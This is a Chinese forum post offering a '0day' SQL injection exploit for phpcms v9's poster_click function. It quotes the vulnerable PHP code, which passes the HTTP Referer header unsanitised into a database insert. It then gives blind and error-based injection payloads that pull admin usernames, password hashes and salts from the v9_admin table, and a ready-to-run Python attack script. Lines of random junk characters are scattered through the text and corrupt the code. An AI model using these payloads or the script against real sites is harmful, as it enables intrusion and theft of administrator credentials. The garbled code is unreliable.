phpcms post_click注入0day利用代码

admin

有人放出了phpcmsv9的0day,就随时写了个利用代码,其中注入代码有两种形式:
6 Q1 a% t* ^' c0 p1 w
问题函数\phpcms\modules\poster\index.php
3 z5 t$ i* _- q  D' e! x
public function poster_click() {
3 `) J( a- P# E# |, W4 ?$id = isset($_GET['id']) ? intval($_GET['id']) : 0;
0 k- {  n# S' H# c3 U- b$r = $this->db->get_one(array('id'=>$id));
if (!is_array($r) && empty($r)) return false;
$ip_area = pc_base::load_sys_class('ip_area');
$ip = ip();
$area = $ip_area->get($ip);
$username = param::get_cookie('username') ? param::get_cookie('username') : '';
if($id) {
$siteid = isset($_GET['siteid']) ? intval($_GET['siteid']) : get_siteid();
$this->s_db->insert(array('siteid'=>$siteid, 'pid'=>$id, 'username'=>$username, 'area'=>$area, 'ip'=>$ip, 'referer'=>HTTP_REFERER, 'clicktime'=>SYS_TIME, 'type'=> 1));
}
$this->db->update(array('clicks'=>'+=1'), array('id'=>$id));
. \2 j: j6 o9 D- ^5 P" ~$ f1 O$setting = string2array($r['setting']);
/ _: B0 o* c2 A: Dif (count($setting)==1) {
, Q, g$ P" ^$ f0 L3 Z- n- F: M$url = $setting['1']['linkurl'];
} else {
. J. w+ Q8 z. j9 T6 P2 k1 Y$url = isset($_GET['url']) ? $_GET['url'] : $setting['1']['linkurl'];
}
header('Location: '.$url);
}
8 ?1 k3 C: X9 t8 E6 J4 v+ y2 b

$ I" c% b: l$ x3 y' t5 |
利用方式：
1 G6 k7 Y5 v8 ^/ P$ P$ E3 n. K
1、可以采用盲注入的手法：

* [( N1 ^; `& Oreferer:1′,(select password from v9_admin where userid=1 substr(password,4)=’xxoo’),’1′)#

; K# }: m) ~8 K8 p& a通过返回页面，正常与否一个个猜解密码字段。
4 R% T! l5 `- l% u7 F9 J7 ]' J. B* f
, C. ^( U, f" {6 `3 w6 L5 n2、代码是花开写的，随手附上了：

1′,(SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(SELECT concat(username,0x5f,password,0x5f,encrypt) FROM v9_admin WHERE 1 ))a from information_schema.tables group by a)b),’1′)#
2 o6 w8 q7 G" v+ l" J1 S6 ?0 G$ y; F! R
  U" e, l( k9 _0 |此方法是爆错注入手法，原理自查。
3 J' O+ b. P/ A8 [) O
- ^' I% Q0 Q2 X# }" U
% ]* ?' y. t% p+ O# \, e
利用程序:
2 a# t7 U$ l6 `* ~$ m, j% z9 Z
#!/usr/bin/env python
5 e3 c" u- A' A, d" `0 ]import httplib,sys,re
# [. h6 T, S1 f' O
def attack():
print “Code by Pax.Mac Team conqu3r!”
print “Welcome to our zone!!!”
url=sys.argv[1]
& _1 O9 q  Y2 d" {6 V  U2 }1 Epaths=sys.argv[2]
* a" m+ d* j- K' kconn = httplib.HTTPConnection(url)
i_headers = {“User-Agent”: “Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9.1) Gecko/20090624 Firefox/3.5″,
“Accept”: “text/plain”,
" X" `! O! g# r' I" l! l7 h“Referer”: “1′,(SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(SELECT concat(username,0x5f,password,0x5f,encrypt) FROM v9_admin WHERE 1 ))a from information_schema.tables group by a)b),’1′)#”}
& D  O* a/ Z8 V9 L. @) hconn.request(“GET”, paths+”/index.php?m=poster&c=index&a=poster_click&sitespaceid=1&id=2″, headers = i_headers)
r1 = conn.getresponse()
9 u, f+ [* J! L# c" {2 [$ _datas=r1.read()
" S- R2 V( |) `; j2 i! @datas=re.findall(r”Duplicate entry \’\w+’”, datas)
print datas[0]
conn.close()
" B9 l+ q9 l$ o5 f6 Yif __name__==”__main__”:
" q3 V# A! O3 a6 Y- K! }if len(sys.argv)<3:
print “Code by Pax.Mac Team conqu3r”
print “Usgae:”
print “    phpcmsattack.py   www.paxmac.org /”
$ K% ~; r9 g  ~2 t/ A. vprint “    phpcmsataack.py   www.paxmac.org /phpcmsv9/”
3 I. g( ^+ d. D* c+ Vsys.exit(1)
attack()